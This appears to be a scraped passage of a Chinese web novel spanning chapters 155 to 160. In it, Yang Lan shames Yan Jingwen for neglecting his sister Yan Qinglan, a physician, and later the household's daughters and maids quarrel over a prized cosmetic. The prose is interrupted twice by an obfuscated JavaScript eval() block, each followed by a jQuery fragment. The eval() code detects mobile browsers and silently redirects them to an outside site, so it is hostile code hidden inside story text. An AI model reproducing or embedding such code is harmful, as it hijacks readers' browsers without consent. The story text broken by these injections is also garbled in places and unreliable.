他远远地看了一眼那个正在给人看诊的晏清澜,又将目光移回到杨澜身上,张了张嘴,却不知道该说些什么。“窈窕淑女,君子好逑?” 晏景文像是听到了什么天大的笑话, “哈!” 他抬手指了指杨澜, 又点了点远处立着的晏清澜, “你们?” “可别糟蹋了这词儿!” 晏景文的视线在两人之间来回逡巡, 眼底的嫌弃几乎要溢出来。 要他说, 这两人有一个算一个, 跟这八个字, 那是八竿子都打不着! 第一百五十五章 杨澜也不怕风大闪了舌头! 杨澜懒得理这脑子不清醒的家伙, 白眼都快翻到天上去了。 他身形高大, 往那一站, 便像堵墙似的, 将晏景文的视线完全挡住。 杨澜垂眸, 看着比自己矮了半个头的晏景文, 心中冷哼, 他跟晏清澜如何, 还轮不到晏景文来指手画脚! 更何况, 是个有血性的男儿, 都做不出欺负女子的事。 就算今日站在这里的是个陌生人, 他杨澜也照样会护着。 杨澜下巴微抬, 眼皮耷拉着, 语气里带着几分不耐烦: “怎么?” “不是来寻你那宝贝弟弟的吗?” “你还在这里磨蹭啥呢?” 他顿了顿, 故意压低了声音, “还是说……” “你压根儿就知道他在哪儿?” 杨澜这话, 笃定了晏子晏平安无事。 事实上, 对于晏子晏的行踪, 他确实并非一无所知。 只是…… 凭什么要告诉晏景文? 晏子晏那性子, 没受天大的委屈, 是绝不会夜不归宿的。 他这个做兄弟的, 说什么也得替他出这口恶气。 至于晏景文…… 谁知道他是不是同谋? 晏景文被杨澜这态度气得够呛。 他紧咬着后槽牙, 咯吱作响, 声音像是从牙缝里挤出来的: “你,离我家妹子远着点!” “她可不是你能撩的妞!” 杨澜听了这话, 乐了。 这话, 宋明澜来说, 还算有几分道理。 晏子晏…… 马马虎虎也算够格。 可他晏景文? 他算老几? 杨澜收敛了笑意, 眼神冷了下来: “晏景文,” “你哪来的资格警告我?” “你算哪根葱,什么立场?嗯?” 他往前逼近一步, 个头上的优势, 让他的压迫感更强了, “因为她是庄家的人?” “还是说……” 杨澜故意拉长了语调, 带着几分嘲讽, “你怕我坏了你的‘好事’?” 若是前者, 他杨澜倒也敬他是条汉子。 若是后者…… 那可真是让人恶心! 晏景文只觉得一股火气直冲脑门。 他双目圆睁, 恨不得把杨澜给生吞活剥了。 他想不通, 杨澜是哪来的胆子, 竟然敢肖想晏清澜! 晏清澜平日里就够出格的了, 再来个杨澜…… 苏府的脸面还要不要了? 在得知圣上无意将晏玥玥许配给童玄珏后, 晏景文便打消了让晏清澜替嫁的念头。 他觉得, 就该给晏清澜找个最守规矩的人家, 让她好好学学什么是三从四德! 可若是让她跟了杨澜…… 那还不得反了天? 他死死盯着杨澜, 眼神阴鸷: “你看上的,” “不过是她那张脸罢了。” “可这世上,比她美的,多了去了。” “又或者……” 晏景文冷笑一声, “你是听了那些关于她的传言,当真了?” “她可不是真的菩萨心肠,不过是装模作样罢了!” 这话, 倒也不是全无道理。 就连晏清澜自己, 恐怕也会承认。 她并非真的心善, 做的这一切, 或许, 只是为了一个好名声…… 可那又怎样? 至少有人因此得救了! 杨澜听了晏景文的话, 不怒反笑, 他环抱双臂, 一副看好戏的模样: “装模作样?” “那又如何?” “至少,” 杨澜话锋一转, “这满街的灾民,有人管了!” 他往前逼近一步, 声音低沉: “边关的那些将士,有人给他们送冬衣了!” “还有那些没钱看病的,也有人给他们治病了!” 杨澜的声音不大, 但每一个字, 都像一记重锤, 狠狠砸在晏景文的心上。 “这些,” “你庄大公子,做了吗?” 晏景文被他逼得连连后退, 张了张嘴, 却什么也说不出来。 他没法反驳。 因为杨澜说的, 都是事实。 杨澜看着晏景文那张青一阵白一阵的脸, 笑意更深了些。 他转过身, 望向远处那个被人群簇拥着的身影, 声音里, 带上了一丝不易察觉的温柔: “她本可以不管的。” “这些事,随便找个人都能做。” “她不必事事亲力亲为,” 杨澜轻轻叹了口气, “但她依然我行我素。” “你以为,她图什么?” “图那些虚名?” “呵,” 杨澜摇了摇头, “她是怕……” “怕再也见不到那些,本可以活下去的人。” 晏景文的身子, 僵住了。 他顺着杨澜的目光看过去, 却只觉得那道身影, 既熟悉, 又陌生。 晏景文对晏清澜的印象, 还停留在那个, 冷漠又狠毒的形象上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053997|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可如今, 他却从别人的口中得知, 他的妹妹, 竟然会为了那些, 与她毫无干系的百姓, 做到如此地步? 晏景文有些恍惚。 他只觉得, 眼前的这一切, 都有些不真实。 “你大哥的事,你总该知道吧?” 杨澜的声音, 将晏景文从恍惚中拉了回来。 晏景文下意识地点了点头。 他自然知道, 杨澜的大哥杨朗, 立了军功, 如今已是正三品的武将。 可这…… 跟晏清澜又有什么关系? 他疑惑地看向杨澜, 等着他的下文。 杨澜见他这副模样, 不由得笑了, 那笑容里, 带着几分释然, 又带着几分感慨: “若没有她,我大哥,怕是回不来了。” “刚开始那几年,仗打得最凶,每天都有人死。” 杨澜的目光, 变得深邃起来, 仿佛又回到了那个硝烟弥漫的战场, “她那时看着和现在一样,单薄又瘦小……” 杨澜顿了顿,似乎很难想象, “可只要上了战场,她就像是变了一个人。” 他像是回忆起了什么, 声音里带着一丝不易察觉的颤抖: “每回打完仗,她都顾不上休息,立刻就去救人。” “你知道厉将军和顾将军,为什么对她那么好吗?” 杨澜看向晏景文,眼神复杂, “因为他们亲眼见过……见过战场上的晏清澜。” 那是…… 谁见了都忍不住心疼的。 可战场之上, 生死难料。 晏清澜再厉害, 也只是个大夫, 不是神仙。 她唯一能做的, 就是尽力去救每一个人。 杨澜转过头, 看向晏景文, 一字一顿: “你们苏府,上上下下,没一个比得上她的!” “晏景文,” “你有什么脸面,在这里说三道四?” “你可曾问过她一句,这四年,她过得怎么样?开不开心?你可曾,关心过她?” “你,” 杨澜指着晏景文的鼻子, “你什么都不是!” 晏景文呆立在那里, 脑海中一片空白。 他想反驳, 却又无力反驳。 杨澜所说的那些, 他竟从未想过。 他只觉得, 心中有什么东西, 正在一点点崩塌…… 他望着远处那个, 忙碌的身影, 第一次, 感到如此陌生。 他好像…… 从来都不了解, 自己的这个妹妹。热风拂过,卷起晏景文的衣角。 第一百五十六章 他下意识地拢了拢,却感觉不到丝毫暖意。 胸口像压了块巨石,闷得他喘不过气。 晏景文的目光,定格在远处。 那个身影,忙碌而专注。 一袭白衣,纤尘不染。 与记忆中那个怯生生的小女孩,相去**。 “晏子晏说,你家小妹曾经身子骨弱不禁风,胆子也小。” 杨澜的声音,突兀地在耳边响起。 晏景文听出了一丝嘲讽,但他无力反驳。 他微微侧过头,避开杨澜的视线。 脑海中,关于四妹妹的记忆,少得可怜。 他努力地搜寻着,那些被时光尘封的画面。 记忆深处,那个小小的身影,总是低垂着头。 细声细语,仿佛生怕惊扰了谁。 走几步路,便要停下来,轻轻地咳嗽。 她会抬起头,用一双清澈的眼睛望着他。 那眼神中,带着几分怯生,几分期盼。 然后,用极轻极轻的声音,唤他一声“大哥”。 可是…… 晏景文的视线,再次回到眼前。 这个眉眼冷漠,面无表情的晏清澜。 甚至,连名带姓地叫他“晏景文”。 这真的是同一个人? 晏景文无法将这两个身影重叠。 “你,”杨澜的声音再次响起,打断了他的思绪,“别嫌她跟陆家走得近,对庄家那边爱答不理。” “沙场之上,生死之间,她和陆家人,能把后背交给对方,这份情谊,你们比不了。” 杨澜轻描淡写地几句话,却像一把锋利的刀,刺进了晏景文的心脏。 他苦笑。 陆家,是危难之时的援手。 而庄家呢? 或许,连落井下石都算不上。 晏景文望着晏清澜忙碌的背影,沉默良久。 “她为北陲做了那么多,为何朝廷一点消息也没有?”他突然开口,声音嘶哑得厉害,“陆家又为什么不替她请功?” “她那么厉害,能杀敌,能救人,若能封赏,对她也是好事,陆家为何不替她争取?” 晏景文了解晏清澜,久病成医,她会医术,这并不奇怪。但他不相信,陆家能比庄家对她更好。 或许,只是些微不足道的好处,就让她迷了心窍…… 想到这里,晏景文不自觉地握紧了拳头。 杨澜听了,嗤笑一声。 “你啊,把事情想得太简单了。”他斜睨了晏景文一眼,“陆家并非有意隐瞒,是她自己不让。” “她不想让任何人知道,她在北陲做过什么。” 为什么? 杨澜没有明说,只是意味深长地笑了笑。 或许,是不想让某些人,借着她的光,平步青云吧。 心口像是被什么东西狠狠地撞了一下,闷疼得厉害。 晏景文不用杨澜解释,也能猜到几分。 晏清澜不愿让人知道她的功劳,不过是,不想让庄家因此得利。 在她进京之前,没人知道她是厉宗玉的义女。 如果她立了功,得了赏,“教养有方”这四个字,只会落在晏明远和钱雅芝的头上。 晏景文心里清楚,晏清澜对苏府有怨恨。 可他没想到,这份怨恨,竟然已经深到了这种地步。 晏清澜若是知道他此刻的想法,大概会觉得可笑至极。 她之所以隐瞒自己的功劳,可不是为了跟苏府置气,只是单纯地不想给自己找麻烦。 回京之后,她还有一堆烂摊子要收拾,可没工夫应付那些虚名。 若是立了军功,得了圣上的夸赞,晏明远那老狐狸,肯定会趁机把她和苏府的利益捆绑在一起。 到那个时候,她就彻底沦为了庄家向上爬的工具。 晏明远、钱雅芝…… 晏清澜几乎可以想象,那些人会借着她的势,做出什么样的事情来。 为他人做嫁衣? 这种蠢事,她晏清澜绝不会做。 所以,她从一开始,就掐断了这种可能。 晏景文自然想不到这一层,只觉得胸口一阵阵发堵,让他几乎喘不过气。 “她变得太快了,”他急促地说,“从前,她不是这样的。” 从前那个小女孩,心思单纯,绝不会有这么多算计。 他一直以为,晏清澜心狠手辣,对人命漠不关心。 可现在看来,她也有善良的一面,也会为了救人而奔波忙碌。 他本该为此感到欣慰,可更多的,却是心寒。 晏清澜变了,变得让他感到陌生。 她精于算计,懂得权衡利弊,就像一个经验老道的棋手,每一步都走得滴水不漏。 她对苏府的人,不仅仅是冷漠,更是冷酷无情。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053998|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊,她以前可不是这种性格。”杨澜的声音里带着几分叹息。 他双手抱在胸前,看着晏景文,眼神复杂。 这话,晏景文说过,晏子晏也说过不止一次。 “可她为什么会变呢?”杨澜反问道,“那个曾经怯生生叫你们哥哥的小女孩,为什么会变成今天这个样子?” “晏景文,你真的不知道吗?” “你不知道吗?” 这五个字,像一道惊雷,在晏景文的脑海中炸开,震得他头晕目眩。 他想说不知道,可是,却一个字也说不出来。 “人啊,最重要的是要有自知之明。”杨澜看着晏景文失魂落魄的样子,轻轻摇了摇头,“想让她做个好妹妹,那你呢?你又做了什么?” “你这个做大哥的,连人家宋明澜一半都比不上!” 杨澜觉得跟晏景文说话,简直是对牛弹琴。 他转身看向别处,没再理会晏景文。 这时,晏景文看到宋明澜端着一碗药,朝晏清澜走去。 两人似乎在说着什么。 杨澜顺着他的目光看过去,轻笑了一声。 “这阵子,宋明澜和宋溪溪每天都陪着她过来。” “一是怕她累着,二是……”杨澜顿了顿,“怕她出事。” 晏景文愣住了。 他嘴唇动了动,想说些什么,却又什么都说不出来。 直到此刻,他才意识到,晏清澜一个姑娘家,出现在这种地方有多不安全。 青石巷里住着的,基本都是寻常老百姓。 可谁又能保证,这些人都是善良之辈? 他居然一直都没有想到这一点。 甚至,还曾觉得她沽名钓誉,做戏给人看。 实在是……可笑至极。 杨澜看着晏景文,又看了看宋明澜,眼神中带着几分玩味。 “你还比不上人家会当哥哥,晏清澜不认你,也怪不得别人。” “往后啊,你自个儿好好想想吧!”杨澜说完,摆了摆手,不再理会晏景文。晏景文只觉得脸上火辣辣的,像是被人连扇了好几个耳光,一阵青一阵白。 他张了张嘴,想说些什么来反驳,却又一个字都吐不出来。 目光不由自主地飘向远处。 宋明澜正细心地替晏清澜擦拭着额角的汗珠,两人低声说着什么,亲昵的模样,像一根根尖锐的刺,扎进他心里。 第一百五十七章 夏日的风,带着几分燥热,吹在脸上,却让晏景文觉得,像是裹挟着无数无形的巴掌,正毫不留情地抽打着自己。 他就那么呆呆地看着,看了许久,才猛地回神,眼神复杂地看向杨澜。 “行了,”他的声音干涩得厉害,“不用你多费口舌。” 杨澜说的每一个字,都像一把把锋利的刀子,直戳他的要害。 他不得不承认,自己这个兄长,做的确实不怎么样。 几乎是落荒而逃,晏景文踉踉跄跄地离开了。 只是,他始终想不明白,事情为何会演变至此? 苏府上下,原本与晏清澜亲如一家,如今,怎么就生分至此了呢? 杨澜看着他狼狈逃窜的背影,无奈地耸了耸肩。 “难得啊,这不开窍的榆木疙瘩,也知道反思了。” 他撇了撇嘴,像是在自言自语,又像是在对谁说着:“只求老天保佑,别再让他碰上晏玥玥哭哭啼啼的,又犯糊涂。” 说完,杨澜从拐角处走出,步履稳健,朝着晏清澜和宋明澜的方向走去。 宋明澜的目光中带着一丝疑惑。 “你和晏景文,倒是聊得挺久。” 习武之人,耳聪目明。更何况,宋明澜内力深厚,早已非寻常人可比。有人远远地盯着这边,他自然有所察觉。 只是隔得远,听不清具体说了些什么。 杨澜的目光,却时不时地往晏清澜那边飘。 “晏景文那人,磨磨唧唧的,”他语气随意地应付着宋明澜,“我随便说一句,他能给我绕出十句来。” 宋明澜想到晏景文平日里那副迂腐又爱狡辩的样子,深以为然。 “也真是难为你了。”他甚至还颇为同情地轻拍了下杨澜的肩。 日头渐渐升高,义诊也接近尾声。 晏清澜一面细致地将药箱里的东西一一归类,一面温声细语地叮嘱面前的病人家属,一定要按照她之前说的方法煎药。 等忙完手头的事,她才抬眸看向杨澜,诚恳地道谢。 “韩公子,这两日承蒙你多方照应。” 杨澜不自觉地握紧了手指,腰杆也挺得笔直。 他咧开嘴,露出一个格外灿烂的笑容,声音里都透着股兴奋劲儿。 “小事一桩,不足挂齿!说起来,我还得好好谢谢庄姑娘,救了我大哥一命呢!” 晏清澜的嘴角微微抽搐。 这人……未免也太自来熟了些。 不过,考虑到韩家大公子的性格,倒也不难理解杨澜的热情。 “医者本分,韩公子不必客气。”晏清澜说着,便迈开步子往前走。 杨澜还想再说些什么,但目光触及晏清澜眉宇间淡淡的疏离,到了嘴边的话又咽了回去。 他觉得晏清澜什么都好,就是性子冷了点儿。 跟自己说话时,虽然也带着笑,可那笑意,却像是隔着一层雾,总让人觉得不那么真切。 转念一想,也对,毕竟两人还不算熟,有些距离感也是难免的。 本来,杨澜就是打着替自家大哥积德行善的旗号,才一直跟在晏清澜和宋明澜身边鞍前马后。 但出了巷子,再继续跟着就有些不合适了,更何况,他们也不同路。 杨澜只能眼巴巴地看着晏清澜和宋明澜越走越远,心里头那股子怅然若失的感觉,怎么也掩饰不住。 他一步一回头,满脸不舍地叹了口气,这才转身离开。 可**的是,这一幕,被茶楼上的三个人看了个正着。 舒临风原本只是想看看热闹,没想到看到了这一幕。 他“啪”地一下松开手,任由纱帘落下,隔绝了楼下的一切。 “哎呦,”舒临风“唰”地打开折扇,风流倜傥地摇了摇,语气里满是惊奇,“这位晏四姑娘,还真是魅力非凡,这才回京城多久,就把杨澜给迷住了?” “杨澜那家伙,平日里挑剔得很,我还以为他对女人没兴趣呢!” 姚澜抿了口茶,冷冷地瞥了他一眼。 “怎么,你还想改行当月老?” 童玄珏始终没有说话,只是手指在茶盏边缘轻轻摩挲着。 过了片刻,他才端起茶盏,慢条斯理地喝了一口。 “他跟晏清澜,注定走不到一起,”他放下茶盏,声音清冷,“再喜欢也是白费力气。” “这话说的,”舒临风用扇子轻轻地扇着风,“谁又能保证呢?” “说不定,人家就两情相悦了呢?”他故作惋惜地摇了摇头, 姚澜瞥了一眼始终沉默的童玄珏,突然笑了。 “这世上的事,谁又能说 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他转移了话题,看向姚澜,问:“你真觉得,晏清澜有可能会看上杨澜?” “谁知道呢,”姚澜耸了耸肩,笑得意味深长,“这天底下的事,谁又能完全说得清?” “缘分这东西,更是妙不可言,这事轮不到你我做主。” 舒临风琢磨了一下,觉得也有道理。 他不再纠结这个,转而凑到童玄珏身边,用扇子轻轻敲打着桌面,开始打趣他。 “我说阿珏,你到底打算什么时候成家?” “总不能真的一辈子打光棍吧?”他苦口婆心地劝着,“你好好看看,这世上有那么多好姑娘呢!” 舒临风觉得自己为了这位好友的终身大事,简直操碎了心。 要不是怕童玄珏动手,他都恨不得直接搂着对方的肩膀,好好劝他迷途知返。 可舒临风也知道自己有几斤几两,只能用扇子遮住半张脸,装作不经意地问:“阿珏,你到底喜欢什么样的?” “我替他答,”姚澜笑着插了一句,“什么样的都无所谓,反正,别是晏清澜那样的就行。 第一百五十八章 ” 童玄珏瞥了他一眼,声音冷冷的。 “姚澜,你是不是闲得慌?”“苏府这戏台子,搭得是真不错。” 童玄珏懒散地向后一靠,椅背发出轻微的“吱呀”声。他低沉的嗓音里,带着几分玩味的笑意。 阳光透过窗棂,在他脸上投下斑驳的光影,明明灭灭。 他勾了勾唇角,眼底闪过一丝看戏的光: “只是不知这出戏,还要唱到什么时候。” 姚澜眉梢一挑,没有接话,只是端起茶盏,轻轻吹了吹漂浮的茶叶,把玩着茶盖。 舒临风摸了摸下巴,若有所思。他斜睨了童玄珏一眼: “我说,你们觉不觉得,晏景文那副失魂落魄的德行,八成又和晏清澜有关?” …… (场景切换) 靴子踩在青石板路上,发出沉闷的“嗒嗒”声。 晏景文低头看了看自己满是泥污的鞋面和衣摆,眉头紧紧地皱了起来。 平日里,他最是注重仪容,哪里能容忍自己这副样子? 街上来来往往的人群,都用一种异样的目光看着他,仿佛他是什么见不得人的东西。 这让他感到一阵阵的难堪,恨不得找个地缝钻进去。 他加快了脚步,想尽快离开这里。 可越是着急,就越是觉得那些目光像跗骨之蛆一样,紧紧地盯着他,让他无处遁形。 他现在只想找个地方换身衣服。 但那些寻常的成衣铺,料子都太粗糙了,他根本穿不惯。 他咬了咬牙,决定去自己常去的那家铺子。 刚走到门口,就听到一个清脆的声音: “大哥?” 晏玥玥手里拎着几包东西,正站在门口,一脸惊讶地看着他。 她身边还站着一个女子,也是满脸的错愕,仿佛不敢相信自己的眼睛。 晏景文只觉得一阵头大,他怎么也没想到,会在这里遇到晏玥玥。 他深吸一口气,强压下心头的烦躁,尽量让自己的声音听起来平静一些: “玥玥,你怎么在这里?” 晏玥玥回过神来,指了指手里的东西。 “我陪雨柔出来买点东西。过几天不是要进宫赴宴吗?她想挑几件新首饰。” 她顿了顿,目光落在晏景文的衣服上: “大哥,你这是怎么了?怎么弄成这样?” 晏景文扯了扯嘴角,露出一个比哭还难看的笑容: “没事,就是不小心摔了一跤。” 这种丢脸的事情,他怎么可能当着外人的面说出来? 晏玥玥撇了撇嘴,显然不相信他的说辞。 但她也知道,现在不是追问的时候,只是轻哼了一声: “大哥也真是的,走路也不小心点。” 她身边的周雨柔也开口了: “庄大哥,你还是赶紧换身衣服吧。这身……实在是不太好看。” 晏景文点了点头,转身进了里间。 他挑了件月白色的锦袍换上,又换了双新靴子。 对着铜镜整理了一番,确认自己身上再无一丝不妥,才走了出来。 晏玥玥立刻迎了上来,挽住他的胳膊,轻轻摇了摇: “大哥,你还没告诉我,你刚才到底怎么了呢?” 晏景文叹了口气,他知道,今天这事是瞒不过去了。 但要他当着周雨柔的面说出来,他又实在开不了口。 他只能含糊其辞: “真没事,就是跟朋友出去玩,不小心弄脏了衣服。” 晏玥玥哪里肯信? 她气鼓鼓地瞪着晏景文: “大哥,你是不是有什么事瞒着我?你是不是又去找四姐姐了?” 她越想越觉得有可能,眼眶都红了。 晏景文心虚地别过头去,不敢看她的眼睛。 晏玥玥见他这副模样,更是气不打一处来: “我就知道!你心里只有那个晏清澜!你根本就没把我这个妹妹放在眼里!” 周雨柔见状,连忙上前安慰晏玥玥: “玥玥,你别生气,庄大哥肯定不是故意的。” 她转头看向晏景文: “庄大哥,你有什么事就跟玥玥说清楚嘛,别让她一个人瞎猜。” 晏景文张了张嘴,却什么也说不出来。 他总不能告诉她们,自己是因为晏清澜才弄成这副样子的吧? 那他还不如直接找块豆腐撞死算了。 他只能硬着头皮说道: “真没事,你们别多想了。我还有事,先走了。” 说完,他便匆匆离开了成衣铺,留下晏玥玥和周雨柔面面相觑。 周雨柔看着晏景文离去的背影,眉头紧紧地皱了起来。 她总觉得,事情没那么简单。 晏玥玥气得直跺脚: “雨柔,你说我大哥他到底是怎么 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她觉得,自己被晏清澜抢走了所有的风头。 尤其是那些原本对她还有几分好感的公子哥,现在一个个都围着晏清澜转,更是让她气不打一处来。 更过分的是,还有人拿她和晏清澜比较,说什么“同样是习武之人,怎么晏清澜就美若天仙,你却这么……普通?” 这话简直像刀子一样,扎在周雨柔的心上。 她知道自己长得不漂亮,但她也不想被人这么贬低啊! 她恨晏清澜,恨她抢走了自己的一切。 所以,当她听到晏玥玥说晏清澜欺负她的时候,她立刻就决定,要帮晏玥玥出气。 她要让晏清澜知道,她周雨柔也不是好惹的! 她要让所有人都知道,她比晏清澜更强! “玥玥,你放心,归朝宴上,我一定帮你出这口气!” 周雨柔握紧了拳头,眼中闪烁着坚定的光芒。 晏玥玥却有些犹豫: “可是……晏清澜毕竟是厉将军的义女,万一……” 她担心周雨柔会吃亏。 周雨柔冷笑一声: “怕什么?我就不信,她还能一手遮天了不成? 第一百五十九章 ” 她就不信,在众目睽睽之下,晏清澜还能翻出什么浪花来!晏清澜的归来,像一块巨石,毫不留情地砸进了周雨柔自诩平静的心湖。 激起的,是滔天嫉恨。 那些赞美,每一个字都化作尖针,狠狠刺向她。 “狐仙”? 周雨柔的嘴角勾起一抹冷笑,眼底,是燃烧的战意。 她倒要看看,这所谓的“狐仙”,到底有几分真本事! 为晏玥玥出头? 那不过是她掩饰自己私心的幌子。 她真正想做的,是把晏清澜狠狠踩在脚下! 这些弯弯绕,单纯的晏玥玥哪里会懂。 她只当周雨柔是为了自己才挺身而出,感动得几乎要落下泪来。 “雨柔,你真好……” 晏玥玥紧紧地挽住周雨柔的手臂,声音都有些哽咽了。 她顿了顿,又信誓旦旦地补充: “你放心,我哥一定会喜欢你的!” 周雨柔被戳破心事,脸颊瞬间烧了起来。 她又羞又恼,伸手轻轻捶了晏玥玥一下: “哎呀!你胡说什么呢!” 两人一路嬉闹,早把晏景文之前的警告抛到了九霄云外。 两人亲昵地挽着手,走进了另一家首饰铺子。 周雨柔的目光在琳琅满目的珠宝间流连,却总觉得少了点什么。 突然,她鼻尖捕捉到一丝若有若无的香气。 这香气…… 不同于寻常的脂粉味,清幽淡雅,却又带着一丝勾人的甜腻。 周雨柔下意识地深吸了一口气,想要捕捉更多。 “玥玥,你身上这是什么味道?怪好闻的。” 晏玥玥正低头挑选着一对珍珠耳环,闻言,得意地笑了笑: “这是雅韵坊的瑶芳膏,我娘特地托人从南边带回来的呢!” 瑶芳膏?! 周雨柔的眼睛瞬间亮了。 她当然知道瑶芳膏,那可是多少千金小姐梦寐以求的宝贝! 据说,用了它,能让肌肤像剥了壳的鸡蛋一样白嫩光滑。 不过…… 周雨柔的眉头微微皱起。 这缕香气莫名勾起她的回忆,好像在哪里闻到过…… 究竟在哪儿呢? 她闭上眼睛,努力在记忆中搜寻。 首饰铺子里人来人往,各种香味混杂在一起,让她有些心烦意乱。 突然,一道灵光闪过她的脑海。 她猛地睁开眼睛,脱口而出: “我想起来了!我在晏芸清身上闻到过!” 晏玥玥拿着耳环的手一顿,脸上的笑容也僵住了。 “什么?” 她有些不敢相信自己的耳朵。 周雨柔却越说越肯定: “真的!我保证没闻错!上次我和晏芸清一起参加王家小姐的及笄礼,就闻到过这个味道!” 晏玥玥的心,一下子沉到了谷底。 怎么可能? 娘最疼她,有什么好东西,第一个想到的肯定都是她。 怎么会把这么珍贵的瑶芳膏送给晏芸清? 难道…… 一个念头闪过她的脑海,让她脸色变得更加难看。 她强压下心头的怒火,勉强挤出一个笑容: “可能……是我祖母给的吧。你知道的,祖母一直都很疼阿姐。” “哦,原来是这样。” 周雨柔恍然大悟,也没多想。 毕竟,在汴京城,谁不知道晏老夫人最疼爱的就是晏芸清这个长孙女。 但晏玥玥心里,却像吞了只苍蝇一样恶心。 原本的好心情,也荡然无存。 她随手放下手中的耳环,拉着周雨柔离开了首饰铺。 一路上,她都心不在焉,满脑子想的都是瑶芳膏的事。 凭什么晏芸清有,她却没有?! 不行! 她一定要把瑶芳膏弄到手! 回到苏府后,晏玥玥直接去了晏老夫人的院子。 她想先探探口风,看看瑶芳膏到底是不是老夫人给晏芸清的。 可谁知,她刚走到院门口,就听到里面传来一阵激烈的争吵声。 她好奇地探头往里看,只见晏芸清屋里的丫鬟桂花,正和一个婆子扭打在一起。 那婆子,正是晏玥玥身边的采薇。 这是怎么回事? 晏玥玥一脸疑惑,悄悄地走了进去。 “死丫头!你给我放手!” 采薇一边用力拽着桂花的头发,一边恶狠狠地骂道。 桂花死死地抱着一个锦盒,怎么也不肯松手。 “这是大姑娘的东西!你不能拿走!” 她涨红了脸,声音都有些嘶哑了。 晏玥玥定睛一看,那锦盒里装的,不正是她心心念念的瑶芳膏吗?! 原来,晏玥玥回到府中越想越气,当即便决定直接去找晏芸清要 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采薇吓得浑身发抖,一个劲儿地磕头求饶: “老夫人饶命!老夫人饶命!都是奴婢的错,奴婢再也不敢了!” “哼!现在知道错了?晚了!” 晏老夫人冷哼一声,对身后的裘妈妈说道: “把她拖下去,掌嘴二十!以儆效尤!” 裘妈妈应了一声,立刻带着两个粗使婆子上前,将采薇拖了出去。 很快,院子里就响起了“啪啪”的掌掴声,以及采薇撕心裂肺的惨叫。晏老夫人平日里吃斋念佛,性子瞧着慈和,轻易不动怒。 上回这般大动干戈,还是四年前晏清澜院里的丫鬟不老实,偷了主子的东西不说,还敢甩脸子。晏老夫**发雷霆,把那丫鬟打了个半死,直接发卖了出去。后来晏清澜去了临川,府里再没出过这等糟心事。 日久天长,大家伙儿也都忘了老夫人的手段。 眼下晏老夫人突然沉了脸,周身的气势冷得像冰窖,便是平日里厉害惯了的钱雅芝,也不敢轻易造次。旁边的晏玥玥更是大气不敢出,心里又委屈又憋闷。 晏老夫人平日里不显山不露水,这回动怒偏偏挑了采薇,这不明摆着给她难堪么? 第一百六十章 “祖母……”晏玥玥急得眼泪在眼眶里打转,拉着晏老夫人的袖子轻轻摇晃,“采薇她性子直,说话没个把门儿的,可她真没坏心眼儿。您就看在她头一回犯错的份上,饶了她这遭吧!” 晏老夫人却像没听见似的,连个眼神都没给她。 她也不理会正要发落桂花的钱雅芝,只把目光落在了晏玥玥身上。 “主仆同心,丫鬟什么德行,主子也好不到哪儿去。六丫头屋里的丫鬟这般张狂,不知情的,还当六丫头平日里也是这般没规没矩。” 钱雅芝听了这话,脸色一阵青一阵白,手里的帕子险些没被她给撕烂了。 “母亲说的是,儿媳往后定会严加管教。”她咬着牙,一个字一个字地往外蹦。 晏老夫人这才慢悠悠地转过头,看向晏玥玥。 “六丫头,你平日里就是太惯着你屋里这些个丫头了,才把她们惯得无法无天,连规矩都忘了。” “今儿这事,本就是你不对。这间房是你姐姐的地盘,别说是你,就是我和你娘,也不能随随便便拿东西,总得先问过你长姐,得了她的话才行。” “没问过就拿,这算什么?谁教你的规矩?” 晏老夫人这番言论,说得极重。没问过就拿,跟偷有什么分别? 晏玥玥平日里娇纵惯了,何曾当着这么多人的面挨过训?一时间,又是委屈又是难堪,眼泪“唰”地一下就下来了。 钱雅芝心疼得跟什么似的,连忙把晏玥玥搂在怀里,轻声细语地哄着。 她一边拿帕子给晏玥玥擦眼泪,一边拿眼风扫着晏芸清,心里那股子火气“蹭蹭”往上冒。 “芸芸,你院里的丫鬟真是没眼力见!你做姐姐的,怎么也该让着点儿妹妹。”钱雅芝强压着怒火,语气却还是冷硬得像冰碴子,“玥玥喜欢什么,你让丫鬟给她就是了,回头她自然会跟你说。为这点子小事闹成这样,传出去也不怕人笑话。” 晏芸清依旧沉默着,只是嘴角微微勾起,露出一丝嘲讽的弧度。 又是这套“姐姐让着妹妹”的说辞。 从小到大,她听得耳朵都快起茧子了,也正是因为这话,晏玥玥才敢这般肆无忌惮。 钱雅芝见晏芸清不言语,只当她心虚理亏,心头的火气更甚。 可这事儿说到底还是晏玥玥的丫鬟有错在先,她也不好太过偏颇。 想到这儿,钱雅芝转头看向晏老夫人,语气里带了几分商量的意味:“母亲,这破事两个丫鬟都得背锅。可俗话说得好,**不打脸,不如各打二十板子,您看……” 她一边说着,一边朝采薇使眼色,示意她赶紧求饶。 采薇也是个机灵的,当即膝行到晏老夫人脚边,连连叩首:“老夫人饶命!奴婢再也不敢了!随您处置奴婢吧,打多少都行,只求您别打奴婢的脸……” 她磕头磕得又快又狠,额头都见了血,看着真是惨得很。 可晏老夫人是何等精明之人?这点小把戏,岂能瞒过她的眼睛? 晏老夫人面色冷若寒霜,身子稳如泰山,看都不看采薇一眼。 “身为奴婢,不敬主子,以下犯上,还敢恶语伤人。这样的刁奴,便是打**也不为过。” 